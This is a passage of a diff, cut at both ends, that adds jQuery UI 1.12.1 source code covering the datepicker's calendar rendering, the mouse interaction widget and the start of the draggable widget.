= this._get( inst, "hideIfNoPrevNext" ), + navigationAsDateFormat = this._get( inst, "navigationAsDateFormat" ), + numMonths = this._getNumberOfMonths( inst ), + showCurrentAtPos = this._get( inst, "showCurrentAtPos" ), + stepMonths = this._get( inst, "stepMonths" ), + isMultiMonth = ( numMonths[ 0 ] !== 1 || numMonths[ 1 ] !== 1 ), + currentDate = this._daylightSavingAdjust( ( !inst.currentDay ? new Date( 9999, 9, 9 ) : + new Date( inst.currentYear, inst.currentMonth, inst.currentDay ) ) ), + minDate = this._getMinMaxDate( inst, "min" ), + maxDate = this._getMinMaxDate( inst, "max" ), + drawMonth = inst.drawMonth - showCurrentAtPos, + drawYear = inst.drawYear; + + if ( drawMonth < 0 ) { + drawMonth += 12; + drawYear--; + } + if ( maxDate ) { + maxDraw = this._daylightSavingAdjust( new Date( maxDate.getFullYear(), + maxDate.getMonth() - ( numMonths[ 0 ] * numMonths[ 1 ] ) + 1, maxDate.getDate() ) ); + maxDraw = ( minDate && maxDraw < minDate ? minDate : maxDraw ); + while ( this._daylightSavingAdjust( new Date( drawYear, drawMonth, 1 ) ) > maxDraw ) { + drawMonth--; + if ( drawMonth < 0 ) { + drawMonth = 11; + drawYear--; + } + } + } + inst.drawMonth = drawMonth; + inst.drawYear = drawYear; + + prevText = this._get( inst, "prevText" ); + prevText = ( !navigationAsDateFormat ? prevText : this.formatDate( prevText, + this._daylightSavingAdjust( new Date( drawYear, drawMonth - stepMonths, 1 ) ), + this._getFormatConfig( inst ) ) ); + + prev = ( this._canAdjustMonth( inst, -1, drawYear, drawMonth ) ? + "<a class='ui-datepicker-prev ui-corner-all' data-handler='prev' data-event='click'" + + " title='" + prevText + "'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "e" : "w" ) + "'>" + prevText + "</span></a>" : + ( hideIfNoPrevNext ? "" : "<a class='ui-datepicker-prev ui-corner-all ui-state-disabled' title='" + prevText + "'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "e" : "w" ) + "'>" + prevText + "</span></a>" ) ); + + nextText = this._get( inst, "nextText" ); + nextText = ( !navigationAsDateFormat ? nextText : this.formatDate( nextText, + this._daylightSavingAdjust( new Date( drawYear, drawMonth + stepMonths, 1 ) ), + this._getFormatConfig( inst ) ) ); + + next = ( this._canAdjustMonth( inst, +1, drawYear, drawMonth ) ? + "<a class='ui-datepicker-next ui-corner-all' data-handler='next' data-event='click'" + + " title='" + nextText + "'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "w" : "e" ) + "'>" + nextText + "</span></a>" : + ( hideIfNoPrevNext ? "" : "<a class='ui-datepicker-next ui-corner-all ui-state-disabled' title='" + nextText + "'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "w" : "e" ) + "'>" + nextText + "</span></a>" ) ); + + currentText = this._get( inst, "currentText" ); + gotoDate = ( this._get( inst, "gotoCurrent" ) && inst.currentDay ? currentDate : today ); + currentText = ( !navigationAsDateFormat ? currentText : + this.formatDate( currentText, gotoDate, this._getFormatConfig( inst ) ) ); + + controls = ( !inst.inline ? "<button type='button' class='ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all' data-handler='hide' data-event='click'>" + + this._get( inst, "closeText" ) + "</button>" : "" ); + + buttonPanel = ( showButtonPanel ) ? "<div class='ui-datepicker-buttonpane ui-widget-content'>" + ( isRTL ? controls : "" ) + + ( this._isInRange( inst, gotoDate ) ? "<button type='button' class='ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all' data-handler='today' data-event='click'" + + ">" + currentText + "</button>" : "" ) + ( isRTL ? "" : controls ) + "</div>" : ""; + + firstDay = parseInt( this._get( inst, "firstDay" ), 10 ); + firstDay = ( isNaN( firstDay ) ? 0 : firstDay ); + + showWeek = this._get( inst, "showWeek" ); + dayNames = this._get( inst, "dayNames" ); + dayNamesMin = this._get( inst, "dayNamesMin" ); + monthNames = this._get( inst, "monthNames" ); + monthNamesShort = this._get( inst, "monthNamesShort" ); + beforeShowDay = this._get( inst, "beforeShowDay" ); + showOtherMonths = this._get( inst, "showOtherMonths" ); + selectOtherMonths = this._get( inst, "selectOtherMonths" ); + defaultDate = this._getDefaultDate( inst ); + html = ""; + + for ( row = 0; row < numMonths[ 0 ]; row++ ) { + group = ""; + this.maxRows = 4; + for ( col = 0; col < numMonths[ 1 ]; col++ ) { + selectedDate = this._daylightSavingAdjust( new Date( drawYear, drawMonth, inst.selectedDay ) ); + cornerClass = " ui-corner-all"; + calender = ""; + if ( isMultiMonth ) { + calender += "<div class='ui-datepicker-group"; + if ( numMonths[ 1 ] > 1 ) { + switch ( col ) { + case 0: calender += " ui-datepicker-group-first"; + cornerClass = " ui-corner-" + ( isRTL ? "right" : "left" ); break; + case numMonths[ 1 ] - 1: calender += " ui-datepicker-group-last"; + cornerClass = " ui-corner-" + ( isRTL ? "left" : "right" ); break; + default: calender += " ui-datepicker-group-middle"; cornerClass = ""; break; + } + } + calender += "'>"; + } + calender += "<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix" + cornerClass + "'>" + + ( /all|left/.test( cornerClass ) && row === 0 ? ( isRTL ? next : prev ) : "" ) + + ( /all|right/.test( cornerClass ) && row === 0 ? ( isRTL ? prev : next ) : "" ) + + this._generateMonthYearHeader( inst, drawMonth, drawYear, minDate, maxDate, + row > 0 || col > 0, monthNames, monthNamesShort ) + // draw month headers + "</div><table class='ui-datepicker-calendar'><thead>" + + "<tr>"; + thead = ( showWeek ? "<th class='ui-datepicker-week-col'>" + this._get( inst, "weekHeader" ) + "</th>" : "" ); + for ( dow = 0; dow < 7; dow++ ) { // days of the week + day = ( dow + firstDay ) % 7; + thead += "<th scope='col'" + ( ( dow + firstDay + 6 ) % 7 >= 5 ? " class='ui-datepicker-week-end'" : "" ) + ">" + + "<span title='" + dayNames[ day ] + "'>" + dayNamesMin[ day ] + "</span></th>"; + } + calender += thead + "</tr></thead><tbody>"; + daysInMonth = this._getDaysInMonth( drawYear, drawMonth ); + if ( drawYear === inst.selectedYear && drawMonth === inst.selectedMonth ) { + inst.selectedDay = Math.min( inst.selectedDay, daysInMonth ); + } + leadDays = ( this._getFirstDayOfMonth( drawYear, drawMonth ) - firstDay + 7 ) % 7; + curRows = Math.ceil( ( leadDays + daysInMonth ) / 7 ); // calculate the number of rows to generate + numRows = ( isMultiMonth ? this.maxRows > curRows ? this.maxRows : curRows : curRows ); //If multiple months, use the higher number of rows (see #7043) + this.maxRows = numRows; + printDate = this._daylightSavingAdjust( new Date( drawYear, drawMonth, 1 - leadDays ) ); + for ( dRow = 0; dRow < numRows; dRow++ ) { // create date picker rows + calender += "<tr>"; + tbody = ( !showWeek ? "" : "<td class='ui-datepicker-week-col'>" + + this._get( inst, "calculateWeek" )( printDate ) + "</td>" ); + for ( dow = 0; dow < 7; dow++ ) { // create date picker days + daySettings = ( beforeShowDay ? + beforeShowDay.apply( ( inst.input ? inst.input[ 0 ] : null ), [ printDate ] ) : [ true, "" ] ); + otherMonth = ( printDate.getMonth() !== drawMonth ); + unselectable = ( otherMonth && !selectOtherMonths ) || !daySettings[ 0 ] || + ( minDate && printDate < minDate ) || ( maxDate && printDate > maxDate ); + tbody += "<td class='" + + ( ( dow + firstDay + 6 ) % 7 >= 5 ? " ui-datepicker-week-end" : "" ) + // highlight weekends + ( otherMonth ? " ui-datepicker-other-month" : "" ) + // highlight days from other months + ( ( printDate.getTime() === selectedDate.getTime() && drawMonth === inst.selectedMonth && inst._keyEvent ) || // user pressed key + ( defaultDate.getTime() === printDate.getTime() && defaultDate.getTime() === selectedDate.getTime() ) ? + + // or defaultDate is current printedDate and defaultDate is selectedDate + " " + this._dayOverClass : "" ) + // highlight selected day + ( unselectable ? " " + this._unselectableClass + " ui-state-disabled" : "" ) + // highlight unselectable days + ( otherMonth && !showOtherMonths ? "" : " " + daySettings[ 1 ] + // highlight custom dates + ( printDate.getTime() === currentDate.getTime() ? " " + this._currentClass : "" ) + // highlight selected day + ( printDate.getTime() === today.getTime() ? " ui-datepicker-today" : "" ) ) + "'" + // highlight today (if different) + ( ( !otherMonth || showOtherMonths ) && daySettings[ 2 ] ? " title='" + daySettings[ 2 ].replace( /'/g, "'" ) + "'" : "" ) + // cell title + ( unselectable ? "" : " data-handler='selectDay' data-event='click' data-month='" + printDate.getMonth() + "' data-year='" + printDate.getFullYear() + "'" ) + ">" + // actions + ( otherMonth && !showOtherMonths ? " " : // display for other months + ( unselectable ? "<span class='ui-state-default'>" + printDate.getDate() + "</span>" : "<a class='ui-state-default" + + ( printDate.getTime() === today.getTime() ? " ui-state-highlight" : "" ) + + ( printDate.getTime() === currentDate.getTime() ? " ui-state-active" : "" ) + // highlight selected day + ( otherMonth ? " ui-priority-secondary" : "" ) + // distinguish dates from other months + "' href='#'>" + printDate.getDate() + "</a>" ) ) + "</td>"; // display selectable date + printDate.setDate( printDate.getDate() + 1 ); + printDate = this._daylightSavingAdjust( printDate ); + } + calender += tbody + "</tr>"; + } + drawMonth++; + if ( drawMonth > 11 ) { + drawMonth = 0; + drawYear++; + } + calender += "</tbody></table>" + ( isMultiMonth ? "</div>" + + ( ( numMonths[ 0 ] > 0 && col === numMonths[ 1 ] - 1 ) ? "<div class='ui-datepicker-row-break'></div>" : "" ) : "" ); + group += calender; + } + html += group; + } + html += buttonPanel; + inst._keyEvent = false; + return html; + }, + + /* Generate the month and year header. */ + _generateMonthYearHeader: function( inst, drawMonth, drawYear, minDate, maxDate, + secondary, monthNames, monthNamesShort ) { + + var inMinYear, inMaxYear, month, years, thisYear, determineYear, year, endYear, + changeMonth = this._get( inst, "changeMonth" ), + changeYear = this._get( inst, "changeYear" ), + showMonthAfterYear = this._get( inst, "showMonthAfterYear" ), + html = "<div class='ui-datepicker-title'>", + monthHtml = ""; + + // Month selection + if ( secondary || !changeMonth ) { + monthHtml += "<span class='ui-datepicker-month'>" + monthNames[ drawMonth ] + "</span>"; + } else { + inMinYear = ( minDate && minDate.getFullYear() === drawYear ); + inMaxYear = ( maxDate && maxDate.getFullYear() === drawYear ); + monthHtml += "<select class='ui-datepicker-month' data-handler='selectMonth' data-event='change'>"; + for ( month = 0; month < 12; month++ ) { + if ( ( !inMinYear || month >= minDate.getMonth() ) && ( !inMaxYear || month <= maxDate.getMonth() ) ) { + monthHtml += "<option value='" + month + "'" + + ( month === drawMonth ? " selected='selected'" : "" ) + + ">" + monthNamesShort[ month ] + "</option>"; + } + } + monthHtml += "</select>"; + } + + if ( !showMonthAfterYear ) { + html += monthHtml + ( secondary || !( changeMonth && changeYear ) ? " " : "" ); + } + + // Year selection + if ( !inst.yearshtml ) { + inst.yearshtml = ""; + if ( secondary || !changeYear ) { + html += "<span class='ui-datepicker-year'>" + drawYear + "</span>"; + } else { + + // determine range of years to display + years = this._get( inst, "yearRange" ).split( ":" ); + thisYear = new Date().getFullYear(); + determineYear = function( value ) { + var year = ( value.match( /c[+\-].*/ ) ? drawYear + parseInt( value.substring( 1 ), 10 ) : + ( value.match( /[+\-].*/ ) ? thisYear + parseInt( value, 10 ) : + parseInt( value, 10 ) ) ); + return ( isNaN( year ) ? thisYear : year ); + }; + year = determineYear( years[ 0 ] ); + endYear = Math.max( year, determineYear( years[ 1 ] || "" ) ); + year = ( minDate ? Math.max( year, minDate.getFullYear() ) : year ); + endYear = ( maxDate ? Math.min( endYear, maxDate.getFullYear() ) : endYear ); + inst.yearshtml += "<select class='ui-datepicker-year' data-handler='selectYear' data-event='change'>"; + for ( ; year <= endYear; year++ ) { + inst.yearshtml += "<option value='" + year + "'" + + ( year === drawYear ? " selected='selected'" : "" ) + + ">" + year + "</option>"; + } + inst.yearshtml += "</select>"; + + html += inst.yearshtml; + inst.yearshtml = null; + } + } + + html += this._get( inst, "yearSuffix" ); + if ( showMonthAfterYear ) { + html += ( secondary || !( changeMonth && changeYear ) ? " " : "" ) + monthHtml; + } + html += "</div>"; // Close datepicker_header + return html; + }, + + /* Adjust one of the date sub-fields. */ + _adjustInstDate: function( inst, offset, period ) { + var year = inst.selectedYear + ( period === "Y" ? offset : 0 ), + month = inst.selectedMonth + ( period === "M" ? offset : 0 ), + day = Math.min( inst.selectedDay, this._getDaysInMonth( year, month ) ) + ( period === "D" ? offset : 0 ), + date = this._restrictMinMax( inst, this._daylightSavingAdjust( new Date( year, month, day ) ) ); + + inst.selectedDay = date.getDate(); + inst.drawMonth = inst.selectedMonth = date.getMonth(); + inst.drawYear = inst.selectedYear = date.getFullYear(); + if ( period === "M" || period === "Y" ) { + this._notifyChange( inst ); + } + }, + + /* Ensure a date is within any min/max bounds. */ + _restrictMinMax: function( inst, date ) { + var minDate = this._getMinMaxDate( inst, "min" ), + maxDate = this._getMinMaxDate( inst, "max" ), + newDate = ( minDate && date < minDate ? minDate : date ); + return ( maxDate && newDate > maxDate ? maxDate : newDate ); + }, + + /* Notify change of month/year. */ + _notifyChange: function( inst ) { + var onChange = this._get( inst, "onChangeMonthYear" ); + if ( onChange ) { + onChange.apply( ( inst.input ? inst.input[ 0 ] : null ), + [ inst.selectedYear, inst.selectedMonth + 1, inst ] ); + } + }, + + /* Determine the number of months to show. */ + _getNumberOfMonths: function( inst ) { + var numMonths = this._get( inst, "numberOfMonths" ); + return ( numMonths == null ? [ 1, 1 ] : ( typeof numMonths === "number" ? [ 1, numMonths ] : numMonths ) ); + }, + + /* Determine the current maximum date - ensure no time components are set. */ + _getMinMaxDate: function( inst, minMax ) { + return this._determineDate( inst, this._get( inst, minMax + "Date" ), null ); + }, + + /* Find the number of days in a given month. */ + _getDaysInMonth: function( year, month ) { + return 32 - this._daylightSavingAdjust( new Date( year, month, 32 ) ).getDate(); + }, + + /* Find the day of the week of the first of a month. */ + _getFirstDayOfMonth: function( year, month ) { + return new Date( year, month, 1 ).getDay(); + }, + + /* Determines if we should allow a "next/prev" month display change. */ + _canAdjustMonth: function( inst, offset, curYear, curMonth ) { + var numMonths = this._getNumberOfMonths( inst ), + date = this._daylightSavingAdjust( new Date( curYear, + curMonth + ( offset < 0 ? offset : numMonths[ 0 ] * numMonths[ 1 ] ), 1 ) ); + + if ( offset < 0 ) { + date.setDate( this._getDaysInMonth( date.getFullYear(), date.getMonth() ) ); + } + return this._isInRange( inst, date ); + }, + + /* Is the given date in the accepted range? */ + _isInRange: function( inst, date ) { + var yearSplit, currentYear, + minDate = this._getMinMaxDate( inst, "min" ), + maxDate = this._getMinMaxDate( inst, "max" ), + minYear = null, + maxYear = null, + years = this._get( inst, "yearRange" ); + if ( years ) { + yearSplit = years.split( ":" ); + currentYear = new Date().getFullYear(); + minYear = parseInt( yearSplit[ 0 ], 10 ); + maxYear = parseInt( yearSplit[ 1 ], 10 ); + if ( yearSplit[ 0 ].match( /[+\-].*/ ) ) { + minYear += currentYear; + } + if ( yearSplit[ 1 ].match( /[+\-].*/ ) ) { + maxYear += currentYear; + } + } + + return ( ( !minDate || date.getTime() >= minDate.getTime() ) && + ( !maxDate || date.getTime() <= maxDate.getTime() ) && + ( !minYear || date.getFullYear() >= minYear ) && + ( !maxYear || date.getFullYear() <= maxYear ) ); + }, + + /* Provide the configuration settings for formatting/parsing. */ + _getFormatConfig: function( inst ) { + var shortYearCutoff = this._get( inst, "shortYearCutoff" ); + shortYearCutoff = ( typeof shortYearCutoff !== "string" ? shortYearCutoff : + new Date().getFullYear() % 100 + parseInt( shortYearCutoff, 10 ) ); + return { shortYearCutoff: shortYearCutoff, + dayNamesShort: this._get( inst, "dayNamesShort" ), dayNames: this._get( inst, "dayNames" ), + monthNamesShort: this._get( inst, "monthNamesShort" ), monthNames: this._get( inst, "monthNames" ) }; + }, + + /* Format the given date for display. */ + _formatDate: function( inst, day, month, year ) { + if ( !day ) { + inst.currentDay = inst.selectedDay; + inst.currentMonth = inst.selectedMonth; + inst.currentYear = inst.selectedYear; + } + var date = ( day ? ( typeof day === "object" ? day : + this._daylightSavingAdjust( new Date( year, month, day ) ) ) : + this._daylightSavingAdjust( new Date( inst.currentYear, inst.currentMonth, inst.currentDay ) ) ); + return this.formatDate( this._get( inst, "dateFormat" ), date, this._getFormatConfig( inst ) ); + } +} ); + +/* + * Bind hover events for datepicker elements. + * Done via delegate so the binding only occurs once in the lifetime of the parent div. + * Global datepicker_instActive, set by _updateDatepicker allows the handlers to find their way back to the active picker. + */ +function datepicker_bindHover( dpDiv ) { + var selector = "button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a"; + return dpDiv.on( "mouseout", selector, function() { + $( this ).removeClass( "ui-state-hover" ); + if ( this.className.indexOf( "ui-datepicker-prev" ) !== -1 ) { + $( this ).removeClass( "ui-datepicker-prev-hover" ); + } + if ( this.className.indexOf( "ui-datepicker-next" ) !== -1 ) { + $( this ).removeClass( "ui-datepicker-next-hover" ); + } + } ) + .on( "mouseover", selector, datepicker_handleMouseover ); +} + +function datepicker_handleMouseover() { + if ( !$.datepicker._isDisabledDatepicker( datepicker_instActive.inline ? datepicker_instActive.dpDiv.parent()[ 0 ] : datepicker_instActive.input[ 0 ] ) ) { + $( this ).parents( ".ui-datepicker-calendar" ).find( "a" ).removeClass( "ui-state-hover" ); + $( this ).addClass( "ui-state-hover" ); + if ( this.className.indexOf( "ui-datepicker-prev" ) !== -1 ) { + $( this ).addClass( "ui-datepicker-prev-hover" ); + } + if ( this.className.indexOf( "ui-datepicker-next" ) !== -1 ) { + $( this ).addClass( "ui-datepicker-next-hover" ); + } + } +} + +/* jQuery extend now ignores nulls! */ +function datepicker_extendRemove( target, props ) { + $.extend( target, props ); + for ( var name in props ) { + if ( props[ name ] == null ) { + target[ name ] = props[ name ]; + } + } + return target; +} + +/* Invoke the datepicker functionality. + @param options string - a command, optionally followed by additional parameters or + Object - settings for attaching new datepicker functionality + @return jQuery object */ +$.fn.datepicker = function( options ) { + + /* Verify an empty collection wasn't passed - Fixes #6976 */ + if ( !this.length ) { + return this; + } + + /* Initialise the date picker. */ + if ( !$.datepicker.initialized ) { + $( document ).on( "mousedown", $.datepicker._checkExternalClick ); + $.datepicker.initialized = true; + } + + /* Append datepicker main container to body if not exist. */ + if ( $( "#" + $.datepicker._mainDivId ).length === 0 ) { + $( "body" ).append( $.datepicker.dpDiv ); + } + + var otherArgs = Array.prototype.slice.call( arguments, 1 ); + if ( typeof options === "string" && ( options === "isDisabled" || options === "getDate" || options === "widget" ) ) { + return $.datepicker[ "_" + options + "Datepicker" ]. + apply( $.datepicker, [ this[ 0 ] ].concat( otherArgs ) ); + } + if ( options === "option" && arguments.length === 2 && typeof arguments[ 1 ] === "string" ) { + return $.datepicker[ "_" + options + "Datepicker" ]. + apply( $.datepicker, [ this[ 0 ] ].concat( otherArgs ) ); + } + return this.each( function() { + typeof options === "string" ? + $.datepicker[ "_" + options + "Datepicker" ]. + apply( $.datepicker, [ this ].concat( otherArgs ) ) : + $.datepicker._attachDatepicker( this, options ); + } ); +}; + +$.datepicker = new Datepicker(); // singleton instance +$.datepicker.initialized = false; +$.datepicker.uuid = new Date().getTime(); +$.datepicker.version = "1.12.1"; + +var widgetsDatepicker = $.datepicker; + + + + +// This file is deprecated +var ie = $.ui.ie = !!/msie [\w.]+/.exec( navigator.userAgent.toLowerCase() ); + +/*! + * jQuery UI Mouse 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Mouse +//>>group: Widgets +//>>description: Abstracts mouse-based interactions to assist in creating certain widgets. +//>>docs: http://api.jqueryui.com/mouse/ + + + +var mouseHandled = false; +$( document ).on( "mouseup", function() { + mouseHandled = false; +} ); + +var widgetsMouse = $.widget( "ui.mouse", { + version: "1.12.1", + options: { + cancel: "input, textarea, button, select, option", + distance: 1, + delay: 0 + }, + _mouseInit: function() { + var that = this; + + this.element + .on( "mousedown." + this.widgetName, function( event ) { + return that._mouseDown( event ); + } ) + .on( "click." + this.widgetName, function( event ) { + if ( true === $.data( event.target, that.widgetName + ".preventClickEvent" ) ) { + $.removeData( event.target, that.widgetName + ".preventClickEvent" ); + event.stopImmediatePropagation(); + return false; + } + } ); + + this.started = false; + }, + + // TODO: make sure destroying one instance of mouse doesn't mess with + // other instances of mouse + _mouseDestroy: function() { + this.element.off( "." + this.widgetName ); + if ( this._mouseMoveDelegate ) { + this.document + .off( "mousemove." + this.widgetName, this._mouseMoveDelegate ) + .off( "mouseup." + this.widgetName, this._mouseUpDelegate ); + } + }, + + _mouseDown: function( event ) { + + // don't let more than one widget handle mouseStart + if ( mouseHandled ) { + return; + } + + this._mouseMoved = false; + + // We may have missed mouseup (out of window) + ( this._mouseStarted && this._mouseUp( event ) ); + + this._mouseDownEvent = event; + + var that = this, + btnIsLeft = ( event.which === 1 ), + + // event.target.nodeName works around a bug in IE 8 with + // disabled inputs (#7620) + elIsCancel = ( typeof this.options.cancel === "string" && event.target.nodeName ? + $( event.target ).closest( this.options.cancel ).length : false ); + if ( !btnIsLeft || elIsCancel || !this._mouseCapture( event ) ) { + return true; + } + + this.mouseDelayMet = !this.options.delay; + if ( !this.mouseDelayMet ) { + this._mouseDelayTimer = setTimeout( function() { + that.mouseDelayMet = true; + }, this.options.delay ); + } + + if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) { + this._mouseStarted = ( this._mouseStart( event ) !== false ); + if ( !this._mouseStarted ) { + event.preventDefault(); + return true; + } + } + + // Click event may never have fired (Gecko & Opera) + if ( true === $.data( event.target, this.widgetName + ".preventClickEvent" ) ) { + $.removeData( event.target, this.widgetName + ".preventClickEvent" ); + } + + // These delegates are required to keep context + this._mouseMoveDelegate = function( event ) { + return that._mouseMove( event ); + }; + this._mouseUpDelegate = function( event ) { + return that._mouseUp( event ); + }; + + this.document + .on( "mousemove." + this.widgetName, this._mouseMoveDelegate ) + .on( "mouseup." + this.widgetName, this._mouseUpDelegate ); + + event.preventDefault(); + + mouseHandled = true; + return true; + }, + + _mouseMove: function( event ) { + + // Only check for mouseups outside the document if you've moved inside the document + // at least once. This prevents the firing of mouseup in the case of IE<9, which will + // fire a mousemove event if content is placed under the cursor. See #7778 + // Support: IE <9 + if ( this._mouseMoved ) { + + // IE mouseup check - mouseup happened when mouse was out of window + if ( $.ui.ie && ( !document.documentMode || document.documentMode < 9 ) && + !event.button ) { + return this._mouseUp( event ); + + // Iframe mouseup check - mouseup occurred in another document + } else if ( !event.which ) { + + // Support: Safari <=8 - 9 + // Safari sets which to 0 if you press any of the following keys + // during a drag (#14461) + if ( event.originalEvent.altKey || event.originalEvent.ctrlKey || + event.originalEvent.metaKey || event.originalEvent.shiftKey ) { + this.ignoreMissingWhich = true; + } else if ( !this.ignoreMissingWhich ) { + return this._mouseUp( event ); + } + } + } + + if ( event.which || event.button ) { + this._mouseMoved = true; + } + + if ( this._mouseStarted ) { + this._mouseDrag( event ); + return event.preventDefault(); + } + + if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) { + this._mouseStarted = + ( this._mouseStart( this._mouseDownEvent, event ) !== false ); + ( this._mouseStarted ? this._mouseDrag( event ) : this._mouseUp( event ) ); + } + + return !this._mouseStarted; + }, + + _mouseUp: function( event ) { + this.document + .off( "mousemove." + this.widgetName, this._mouseMoveDelegate ) + .off( "mouseup." + this.widgetName, this._mouseUpDelegate ); + + if ( this._mouseStarted ) { + this._mouseStarted = false; + + if ( event.target === this._mouseDownEvent.target ) { + $.data( event.target, this.widgetName + ".preventClickEvent", true ); + } + + this._mouseStop( event ); + } + + if ( this._mouseDelayTimer ) { + clearTimeout( this._mouseDelayTimer ); + delete this._mouseDelayTimer; + } + + this.ignoreMissingWhich = false; + mouseHandled = false; + event.preventDefault(); + }, + + _mouseDistanceMet: function( event ) { + return ( Math.max( + Math.abs( this._mouseDownEvent.pageX - event.pageX ), + Math.abs( this._mouseDownEvent.pageY - event.pageY ) + ) >= this.options.distance + ); + }, + + _mouseDelayMet: function( /* event */ ) { + return this.mouseDelayMet; + }, + + // These are placeholder methods, to be overriden by extending plugin + _mouseStart: function( /* event */ ) {}, + _mouseDrag: function( /* event */ ) {}, + _mouseStop: function( /* event */ ) {}, + _mouseCapture: function( /* event */ ) { return true; } +} ); + + + + +// $.ui.plugin is deprecated. Use $.widget() extensions instead. +var plugin = $.ui.plugin = { + add: function( module, option, set ) { + var i, + proto = $.ui[ module ].prototype; + for ( i in set ) { + proto.plugins[ i ] = proto.plugins[ i ] || []; + proto.plugins[ i ].push( [ option, set[ i ] ] ); + } + }, + call: function( instance, name, args, allowDisconnected ) { + var i, + set = instance.plugins[ name ]; + + if ( !set ) { + return; + } + + if ( !allowDisconnected && ( !instance.element[ 0 ].parentNode || + instance.element[ 0 ].parentNode.nodeType === 11 ) ) { + return; + } + + for ( i = 0; i < set.length; i++ ) { + if ( instance.options[ set[ i ][ 0 ] ] ) { + set[ i ][ 1 ].apply( instance.element, args ); + } + } + } +}; + + + +var safeBlur = $.ui.safeBlur = function( element ) { + + // Support: IE9 - 10 only + // If the <body> is blurred, IE will switch windows, see #9420 + if ( element && element.nodeName.toLowerCase() !== "body" ) { + $( element ).trigger( "blur" ); + } +}; + + +/*! + * jQuery UI Draggable 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Draggable +//>>group: Interactions +//>>description: Enables dragging functionality for any element. +//>>docs: http://api.jqueryui.com/draggable/ +//>>demos: http://jqueryui.com/draggable/ +//>>css.structure: ../../themes/base/draggable.css + + + +$.widget( "ui.draggable", $.ui.mouse, { + version: "1.12.1", + widgetEventPrefix: "drag", + options: { + addClasses: true, + appendTo: "parent", + axis: false, + connectToSortable: false, + containment: false, + cursor: "auto", + cursorAt: false, + grid: false, + handle: false, + helper: "original", + iframeFix: false, + opacity: false, + refreshPositions: false, + revert: false, + revertDuration: 500, + scope: "default", + scroll: true, + scrollSensitivity: 20, + scrollSpeed: 20, + snap: false, + snapMode: "both", + snapTolerance: 20, + stack: false, + zIndex: false, + + // Callbacks + drag: null, + start: null, + stop: null + }, + _create: function() { + + if ( this.options.helper === "original" ) { + this._setPositionRelative(); + } + if ( this.options.addClasses ) { + this._addClass( "ui-draggable" ); + } + this._setHandleClassName(); + + this._mouseInit(); + }, + + _setOption: function( key, value ) { + this._super( key, value ); + if ( key === "handle" ) { + this._removeHandleClassName(); + this._setHandleClassName(); + } + }, + + _destroy: function() { + if ( ( this.helper || this.element ).is( ".ui-draggable-dragging" ) ) { + this.destroyOnClear = true; + return; + } + this._removeHandleClassName(); + this._mouseDestroy(); + }, + + _mouseCapture: function( event ) { + var o = this.options; + + // Among others, prevent a drag on a resizable-handle + if ( this.helper || o.disabled || + $( event.target ).closest( ".ui-resizable-handle" ).length > 0 ) { + return false; + } + + //Quit if we're not on a valid handle + this.handle = this._getHandle( event ); + if ( !this.handle ) { + return false; + } + + this._blurActiveElement( event ); + + this._blockFrames( o.iframeFix === true ? "iframe" : o.iframeFix ); + + return true; + + }, + + _blockFrames: function( selector ) { + this.iframeBlocks = this.document.find( selector ).map( function() { + var iframe = $( this ); + + return $( "<div>" ) + .css( "position", "absolute" ) + .appendTo( iframe.parent() ) + .outerWidth( iframe.outerWidth() ) + .outerHeight( iframe.outerHeight() ) + .offset( iframe.offset() )[ 0 ]; + } ); + }, + + _unblockFrames: function() { + if ( this.iframeBlocks ) { + this.iframeBlocks.remove(); + delete this.iframeBlocks; + } + }, + + _blurActiveElement: function( event ) { + var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ), + target = $( event.target ); + + // Don't blur if the event occurred on an element that is within + // the currently focused element + // See #10527, #12472 + if ( target.closest( activeElement ).length ) { + return; + } + + // Blur any element that currently has focus, see #4261 + $.ui.safeBlur( activeElement ); + }, + + _mouseStart: function( event ) { + + var o = this.options; + + //Create and append the visible helper + this.helper = this._createHelper( event ); + + this._addClass( this.helper, "ui-draggable-dragging" ); + + //Cache the helper size + this._cacheHelperProportions(); + + //If ddmanager is used for droppables, set the global draggable + if ( $.ui.ddmanager ) { + $.ui.ddmanager.current = this; + } + + /* + * - Position generation - + * This block generates everything position related - it's the core of draggables. + */ + + //Cache the margins of the original element + this._cacheMargins(); + + //Store the helper's css position + this.cssPosition = this.helper.css( "position" ); + this.scrollParent = this.helper.scrollParent( true ); + this.offsetParent = this.helper.offsetParent(); + this.hasFixedAncestor = this.helper.parents().filter( function() { + return $( this ).css( "position" ) === "fixed"; + } ).length > 0; + + //The element's absolute position on the page minus margins + this.positionAbs = this.element.offset(); + this._refreshOffsets( event ); + + //Generate the original position + this.originalPosition = this.position = this._generatePosition( event, false ); + this.originalPageX = event.pageX; + this.originalPageY = event.pageY; + + //Adjust the mouse offset relative to the helper if "cursorAt" is supplied + ( o.cursorAt && this._adjustOffsetFromHelper( o.cursorAt ) ); + + //Set a containment if given in the options + this._setContainment(); + + //Trigger event + callbacks + if ( this._trigger( "start", event ) === false ) { + this._clear(); + return false; + } + + //Recache the helper size + this._cacheHelperProportions(); + + //Prepare the droppable offsets + if ( $.ui.ddmanager && !o.dropBehaviour ) { + $.ui.ddmanager.prepareOffsets( this, event ); + } + + // Execute the drag once - this causes the helper not to be visible before getting its + // correct position + this._mouseDrag( event, true ); + + // If the ddmanager is used for droppables, inform the manager that dragging has started + // (see #5003) + if ( $.ui.ddmanager ) { + $.ui.ddmanager.dragStart( this, event ); + } + + return true; + }, + + _refreshOffsets: function( event ) { + this.offset = { + top: this.positionAbs.top - this.margins.top, + left: this.positionAbs.left - this.margins.left, + scroll: false, + parent: this._getParentOffset(), + relative: this._getRelativeOffset() + }; + + this.offset.click = { + left: event.pageX - this.offset.left, + top: event.pageY - this.offset.top + }; + }, + + _mouseDrag: function( event, noPropagation ) { + + // reset any necessary cached properties (see #5009) + if 